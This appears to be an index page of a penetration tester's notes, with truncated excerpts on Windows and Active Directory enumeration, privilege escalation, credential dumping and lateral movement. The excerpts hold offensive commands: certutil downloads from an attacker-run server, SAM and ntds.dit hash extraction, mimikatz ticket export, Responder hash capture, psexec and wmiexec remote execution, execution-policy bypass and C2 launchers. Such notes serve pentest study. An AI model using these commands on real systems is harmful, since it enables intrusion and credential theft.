• See also the Bina­ry analy­sis post Win­dows uses as for­mat for the exe­cute­able files the PE Portable Exe­cute­able for­mat. This is a bina­ry for­mat which can be used as a Eng­lish (light ‘xkcd’) — Imgur has a graph­i­cal overview.

  • Windows fundamentals

    Named pipes A named pipe is a method for remote or local IPC Inter-process communication. Basic commands Where is a program? where ssh Restart the sys­tem now: shutdown /r /t 0 Set file sys­tem attrib­ut­es (which are shown with the dir command): attrib +r file.exe Set file sys­tem per­mis­sions (which are shown with the icacls command):…

  • Windows Library Files

    Files with the exten­sion .Library-ms are sim­i­lar to macOS’s Vol­umes. They can con­tain files and direc­to­ry which looks like local files on the Win­dows Explor­er. Many AV/Malware sys­tems does not detect them currently. Create a Windows Library “Directory” Prepa­ra­tion: Install some­where a DAV share which is avail­able from the vic­tim’s sys­tem which points to a…

  • Immunity Debugger

    Keyboard functions CTRL+S Find sequence of commands SHIFT+F9 Pass exception

  • Assume you have a buffer over­flow vul­ner­a­bil­i­ty. You can con­trol the EIP. But your shell­code is nev­er executed. Your shell­code is exe­cut­ed when a ret instruc­tion is exe­cut­ed which calls the address you overwrite. But maybe the ret at the end of the func­tion where the buffer over­flow occurs is nev­er reached, because you over­wrote the…

  • SID Security Identifiers All ele­ments have attrib­ut­es. They are iden­ti­fied via a Secu­ri­ty Iden­ti­fi­er SID. The struc­ture of a SID: Exam­ple: The Domain Iden­ti­fi­er ist the SID with­out the last RID part. Exam­ples for well-known SIDs: Basic Windows security access control Security context Mandatory Integrity Control and integrity levels Win­dows (from Vista on) has five integri­ty levels:…

  • Covenant

    -NET attack frame­work: https://github.com/cobbr/Covenant Usage Cre­ate a lis­ten­er on the attack system. Add a launch­er to the listener. The attack sys­tem now pro­vides a pay­load file the vic­tim has to start. You can use Urban­Bish­op to inject the pay­load into a run­ning process. As soon as the pay­load is exe­cut­ed, Covenant will show on the dash­board…

  • NTFS

    File and directory integrity levels C:\Users\User>icacls hallo hallo NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) WINDEV2012EVAL\User:(I)(F) Mandatory Label\High Mandatory Level:(NW) (I)(F) means that the cor­re­spond­ing user or group has (F) Full per­mis­sion on the file and that the per­mis­sions are inher­it­ed from the par­ent = directory. Note that the Read right ® also enables exe­cu­tion on that file! (There…

  • Various Show who else is logged in. qwinsta Open the Event View­er and search in the looks. Have fun! Network enumeration Show the net­work con­fig­u­ra­tion. Are there mul­ti­ple interfaces? ipconfig /all Rout­ing information route print Show cur­rent net­work con­nec­tions. After check­ing this com­mand: CHECK all ports with the pre­vi­ous found ones! netstat -ano Check the ARP cache…

  • Deter­mine if the sys­tem has the WSL with bash: where /R C:\windows bash.exe If bash.exe is there and the WSL is run­ning, then com­mands can be run as root (!) like: C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.19041.423_none_1da742a41b53e164\bash.exe whoami Install the WSL To install the WSL, a sys­tem shell is required unfor­tu­natel­ly. See this arti­cle for instal­la­tion.

  • Execution If you can­not exe­cute an exe file, try these options: Windows firewall / netsh Check fire­wall state netsh advfirewall show currentprofile netsh advfirewall show state If the fire­wall is active, list the configuration: netsh advfirewall show config Exam­ple how to add excep­tions into the fire­wall via the com­mand line from an administrator: C:\Windows\temp> netsh advfirewall firewall…

  • Windows post exploitation

    Grab the SAM and sys­tem file: %windir%\repair\sam %windir%\System32\config\RegBack\SAM %windir%\system32\config\SAM %windir%\repair\system %windir%\System32\config\RegBack\system %windir%\system32\config\system (Re-) Run the cre­den­tial retriev­ers from the script page.

  • Pre­pare the own system: cd p151.general.1/scripts/privesc/windows python -m SimpleHTTPServer 80 Pre­pare the target: set NTPSRV=$ownIp mkdir C:\Windows\System32\spool\drivers\color\wsc cd C:\Windows\System32\spool\drivers\color\wsc Down­load most scripts at once (>30 MB!): certutil.exe -urlcache -split -f "http://$NTPSRV/7za.exe certutil.exe -urlcache -split -f "http://$NTPSRV/_ex.zip 7za.exe x _ex.zip WinPeas Github winPEAS.batwinPEASx86.exewinPEASx64.exe Powerless Github certutil.exe -urlcache -split -f "http://$NTPSRV/Powerless.bat" Powerless.bat Powerless.bat Windows Exploit Suggester NG Github…

  • dir Gen­er­al: Usu­al commands: There­fore: Remem­ber to use dir /R /as /ah -force. tree Start with cre­at­ing a list of all direc­to­ries and files. Down­load it. It’s way eas­i­er to look in a local edi­tor and it’s stored for the future as well. tree c:\ > C:\Windows\Temp\dsys\dirs.txtdir /s /R /as /ah c:\ > C:\Windows\Temp\dsys\files.txt(Download the files)…

  • General system enumeration Get gen­er­al infor­ma­tion about the OS: systeminfo Get the envi­ron­ment variabes: set Enu­mer­ate cached credentials: cmdkey /list If the cur­rent sys­tem is not known yet, try to deter­mine the ver­sion via one of the fol­low­ing files: Processes enumeration tasklist /Vtasklist /V | find "cmd.exe" // Search for a commandtasklist /V /fi "USERNAME eq NT…

  • After these steps, more things to do: Work with processes For enu­mer­a­tion of process­es, see the Basic Win­dows sys­tem enu­mer­a­tion post. Kill a process taskkill /PID $pid taskkill /IM notepad.exe pskill /accepteula $pid // With SysinternalTools Sus­pend and con­tin­ue a run­ning process with SysinternalTools: pssuspend /accepteula notepad.exe ... pssuspend /accepteula -r notepad.exe Work with DLL’s Show all…

  • Responder

    respon­der: Lis­ten with respon­der on a net­work and wait for AD sys­tems to ask for a DC. This can reveal a NTLM hash. (Source) Start respon­der on the own system: sudo responder -I tun0 --wpad Con­nect from the tar­get sys­tem to this sys­tem via smb. In the Win­dows explor­er, or in the com­mand line via dir…

  • Command execution on Windows

    With username/password With psex­ec (Pre­req­ui­sites: ADMIN$ share is avail­able, the user is part of the local admin­is­tra­tor group on the target) With psex­ec via Metasploit use exploit/windows/smb/psexec With atex­ec (Impack­et) atexec.py dom/user:pass@$target cmd.exe With wmiex­ec wmiexec.py domain.local/$target:$password@$ip With Smbmap smbmap -u ariley -p 'pass' -d WORKGROUP -x 'whoami' -H $target With Wmic (To run a…

  • Seatbelt

    Auto­mates Win­dows enu­mer­a­tion. Github page Usage Seatbelt.exe -group=all Run Seatbelt.exe with­out argu­ments to see pos­si­ble para­me­ters. Example Seatbelt.exe OSInfo Processes Remote From anoth­er Win­dows sys­tem, seat­belt can con­nect to a vic­tim and per­form com­mands there. Seatbelt.exe LogonSessions -computername=$victim -username=bob -password=bobber Command aggregation There are already some groups defined which per­form mul­ti­ple tests at once. Seatbelt.exe -group=system [-computername=...]Seatbelt.exe…

  • DPAPI

    The DPAPI is a Win­dows sys­tem which stored pass­words bound to the local system. In the user direc­to­ry there are the keys stored in the AppData\Roaming\Microsoft\Protect\<SID> directory. From the user’s pass­word, a mas­ter key is derived. When the user changes his pass­word, a new mas­ter key is gen­er­at­ed as well — and all old mas­ter…

  • Shell­ter kann add a reverse shell pay­load into a exe file.

  • Lateral movement

    Logon on another system with a NTLM hash Sce­nario: Then, use mimikatz to inject anoth­er user’s NTLM hash into the secret storage: Steal another user’s session Sce­nario: Then, with the use of mimikatz: privilege::debugsekurlsa::tickets /export This exports avail­able tick­ets into the work­ing direc­to­ry (suf­fix .kirbi). Then, choose one file/ticket from the cor­rect user and ser­vice. For…

  • Mimikatz

    Win­dows cre­ates and stores cre­den­tials in the Local Secu­ri­ty Author­i­ty Sub­sys­tem Ser­vice LSASS in the mem­o­ry. On the filesys­tem, the sam data­base stores the hashes. Use Mimikatz Usage Enable debug mode. This usess the SeDe­bug­Priv­i­lege so that we are able to com­mu­ni­cate with oth­er processes. privilege:debug Try to ele­vate priv­i­leges to obtain SYSTEM user privileges:…

  • BloodHound

    Blood­Hound ana­lyzes and present Active Direc­to­ry Data. SharpHound is the data col­lec­tor which runs on a com­pro­mised AD system. On the target: On the own system:

  • Without shell access With shell access Choose one method to enumerate. 1. User and group enumeration with net (!) See what roles/privileges THIS USER has. Also localy. Maybe he/she has already admin­is­tra­tive privileges. whoami /all List (and store!) the users of the domain net user /domain List (and store!) infor­ma­tion like full names, group mem­ber­ships, etc.…

  • PowerSploit / PowerView

    Col­lec­tion of privsec scripts. To start, upload PowerView.ps1 and: powershell -exec bypass PS> Import-Module .\PowerView.ps1 See the github site for all commands. General enumeration powershell -exec bypass PS> . .\PowerUp.ps1 PS> Invoke-AllChecks Or: powershell.exe -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks" About users Enu­mer­ates all users. Get-NetUser Enu­mer­ate all users which does not require Ker­beros preauth. Get-NetUser -PreauthNotRequired Returns…

  • PowerShell Empire

    Main­ly post exploita­tion for AD envi­ron­ments. (Down­load — also includ­ed in Kali sources) Quick usage for privilege escalation General usage Metas­ploit syn­tax / PSE syntax Note: After use­mod­ule don’t for­get to go “back” and to “inter­act” with the agent to see job results! Com­mands with an aster­ix require a high-integri­ty Empire Agent. To upgrade one…

  • Windows Registry

    The Win­dows reg­istry is a cen­tral data stor­age for the oper­a­tion sys­tem as well as for appli­ca­tions. It’s a key-val­ue stor­age in a tree structure. A hive is a set of keys and their val­ues. The root hives are: Short Long Con­tent Source file HKCR HKEY_CLASSES_ROOT Infor­ma­tion about file types and properties HKCC HKEY_CURRRENT_CONFIG Infor­ma­tion about…

  • Active Directory notes

    Check­list A domain of a DC con­sists out of the fol­low­ing elements: An object in AD may have a set of ACE Access Con­trol Entries which is called ACL Access Con­trol List. An objec­t’s ACE can be retrieved in PS with Get-ObjectAcl [-Identity| $object. The SCM Ser­vice Con­trol Man­ag­er con­tains a data­base of installed ser­vices…

  • Windows password files

    Win­dows clients use SAM files. Win­dows DC uses ntds.dit to store all hash­es from the domain. SAM C:\windows\repair\sam C:\windows\System32\config\SAM C:\windows\System32\config\RegBack\SAM Alter­na­tives in meterpreter: run post/windows/gather/hashdump run post/windows/gather/smart_hashdump run hashdump hashdump (load module before: use priv) creds_all If hash­dump does­n’t work: Notes Format Username : UID : LM hash : NTLM hash : : : For hash­cat,…